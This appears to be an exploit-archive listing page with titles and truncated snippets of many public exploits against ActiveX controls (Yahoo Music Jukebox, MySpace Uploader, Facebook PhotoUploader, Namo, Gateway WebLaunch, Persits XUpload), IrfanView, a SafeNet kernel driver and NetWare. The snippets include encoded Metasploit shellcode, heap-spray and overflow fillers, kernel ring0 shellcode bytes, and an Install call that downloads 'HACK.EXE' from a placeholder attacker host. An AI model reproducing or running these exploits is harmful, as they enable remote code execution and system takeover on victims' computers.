yahoomusic-overflow4.txt

Yahoo! JukeBox datagrid.dll AddButton Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

FaceBook PhotoUploader - ImageUploader4.ocx 4.5.57.0 Remote Buffer Overflow

FaceBook PhotoUploader - ImageUploader4.ocx 4.5.57.0 Remote Buffer Overflow FaceBook PhotoUploader Buffer Overflow Exploit function Check var buf = unescape"%u4141"; while buf.length = 261 buf = buf + unescape"%u4141"; // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378...

Yahoo! Music Jukebox 2.2 AddButton() ActiveX Remote BOF Exploit (3)

Exploit for unknown platform in category remote exploits =================================================================== Yahoo! Music Jukebox 2.2 AddButton ActiveX Remote BOF Exploit 3 =================================================================== Yahoo! JukeBox datagrid.dll AddButton...

Sejoong Namo ActiveSquare 6 NamoInstaller.dll ActiveX BoF Exploit

No description provided by source. !-- Sejoong Namo ActiveSquare6 NamoInstaller.dll BoF Exploit Written by http://www.Plan-S.cn Tested on Windows XP SP2fully patched Korean, IE6, NamoInstaller.dll version 3,0,0,1 -- html object classid="clsid:AF465549-1D22-4140-A273-386FA8877E0A" id="target"/OBJE...

Sejoong Namo ActiveSquare 6 - NamoInstaller.dll ActiveX Buffer Overflow

Sejoong Namo ActiveSquare 6 - NamoInstaller.dll ActiveX Buffer Overflow // HeapSpray - execute calculator shellcode =...

Yahoo! Music JukeBox 2.2 - AddButton() ActiveX Remote Buffer Overflow

Yahoo! Music JukeBox 2.2 - AddButton ActiveX Remote Buffer Overflow Yahoo! JukeBox datagrid.dll AddButton Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 =...

myspaceup-overflow.txt

MySpace Uploader Buffer Overflow Exploit function Check // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +...

MySpace Uploader (MySpaceUploader.ocx 1.0.0.4) BOF Exploit

No description provided by source. !-- MySpace Uploader Buffer Overflow Exploit written by e.b. Tested on Windows XP SP2fully patched English, IE6 MySpaceUploader.ocx version 1.0.0.4: 48DD0448-9209-4F81-9F6D-D83562940134...

irfanview-corrupt.txt

/ IrfanView 4.10 .FPX File Memory Corruption This exploit launches calc.exe. Tested against Win XP SP2 FR. Have Fun! Coded and discovered by Marsu Other bugs exist... / include "stdio.h" include "stdlib.h" include "string.h" / win32exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvS...

Safenet IPSecDrv.sys <= 10.4.0.12 Local kernel ring0 SYSTEM Exploit

No description provided by source. / safenet-ipsec-call.c Copyright c 2008 by [email protected] Safenet IPSecDrv.sys = 10.4.0.12 local kernel ring0 indirect call SYSTEM exploit by mu-b - Thu 03 Jan 2008 - Tested on: IPSecDrv.sys 10.4.0.12...

Chilkat Mail ActiveX 7.8 - ChilkatCert.dll Insecure Method

Chilkat Mail ActiveX 7.8 - ChilkatCert.dll Insecure Method Chilkat Mail ActiveX 7.8 ChilkatCert.dll Insecure Method Exploit Site : www.chilkatsoft.com =================================================== Tested on Windows XP Professional SP2 , with Internet Explorer 6 Author : darkl0rd E-Mail :...

SafeNet 10.4.0.12 - 'IPSecDrv.sys' Local kernel Ring0 SYSTEM

/ safenet-ipsec-call.c Copyright c 2008 by Safenet IPSecDrv.sys include include include define IPSECDRVIOCTL 0x80002064 define ARGSIZEa a/sizeof void static unsigned char win32fixup = "\x53" "\x52"; static unsigned char win2k3ring0shell = / ring0 / "\xb8\x24\xf1\xdf\xff" "\x8b\x00"...

Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow

This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver. Since the driver runs in the kernel space, a failed exploit attempt can cause the OS to reboot. This module requires Metasploit: https://metasploit.com/download Current source:...

IrfanView 4.10 .FPX File Memory Corruption Exploit

Exploit for unknown platform in category local exploits ================================================== IrfanView 4.10 .FPX File Memory Corruption Exploit ================================================== / IrfanView 4.10 .FPX File Memory Corruption This exploit launches calc.exe. Tested...

IrfanView 4.10 .FPX File Memory Corruption Exploit

No description provided by source. / IrfanView 4.10 .FPX File Memory Corruption This exploit launches calc.exe. Tested against Win XP SP2 FR. Have Fun! Coded and discovered by Marsu [email protected] Other bugs exist... / include "stdio.h" include "stdlib.h" include "string.h" / win32exe...

IrfanView 4.10 - .fpx Memory Corruption

IrfanView 4.10 - .fpx Memory Corruption / IrfanView 4.10 .FPX File Memory Corruption This exploit launches calc.exe. Tested against Win XP SP2 FR. Have Fun! Coded and discovered by Marsu Other bugs exist... / include "stdio.h" include "stdlib.h" include "string.h" / win32exec - EXITFUNC=process...

IrfanView 4.10 - '.fpx' Memory Corruption

/ IrfanView 4.10 .FPX File Memory Corruption This exploit launches calc.exe. Tested against Win XP SP2 FR. Have Fun! Coded and discovered by Marsu Other bugs exist... / include "stdio.h" include "stdlib.h" include "string.h" / win32exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvS...

sejoong-method.txt

Namo Web Editor NamoInstaller.dll install Method Exploit function Check obj.Install"http://ATTACKER.COM/HACK.EXE" Unable to create object tml --...

Gateway WebLaunch ActiveX Remote Buffer Overflow Exploit

No description provided by source. !-- Gateway WebLaunch Buffer Overflow Exploit written by e.b. Tested on Windows XP SP2fully patched English, IE6, Weblaunch.ocx: 93CEA8A4-6059-4E0B-ADDD-73848153DD5E Weblaunch2.ocx: 97BB6657-DC7F-4489-9067-51FAB9D8857E Thanks to h.d.m. and the Metasploit crew --...

Persits XUpload 3.0 AddFile() Remote Buffer Overflow Exploit

No description provided by source. !-- Persits XUpload 3.0 AddFile Buffer Overflow Exploit Vulnerability discovered by David Kierznowski written by e.b. Tested on Windows XP SP2fully patched English, IE6, xupload.ocx 3.0.0.4 Thanks to David, h.d.m. and the Metasploit crew -- html head titlePersit...